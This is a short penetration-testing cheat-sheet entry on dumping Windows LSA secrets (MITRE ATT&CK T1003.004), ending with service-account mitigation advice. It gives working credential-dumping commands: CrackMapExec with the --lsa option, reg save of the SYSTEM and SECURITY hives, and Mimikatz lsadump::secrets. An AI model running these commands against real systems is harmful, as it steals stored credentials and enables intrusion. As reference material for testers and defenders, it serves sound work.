LSA Secrets

MITRE ATT&CK, Credential Access, Sub-technique T1003.004

LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.

# Dumping LSA Secrets remotely with CrackMapExec
crackmapexec smb $ip -u $user -p $password --lsa

# Dumping LSA Secrets with Mimikatz

# Dumping LSA Secrets manually and then reading them with Mimikatz
reg save HKLM\SYSTEM system & reg save HKLM\security security
lsadump::secrets /system:c:\temp\system /security:c:\temp\security


When cleartext credentials are retrieved from LSA Secrets it is due to the credentials being stored for a service (E.g., creating a service with a custom user account).

To mitigate this issue, avoid using a domain account for the service. Best practice is to avoid using a domain user account for services. Rather, create a local account to run the service. If specific domain user rights are needed then create an account with the specific rights required. It should also be stated to never use a domain administrator account for a service.


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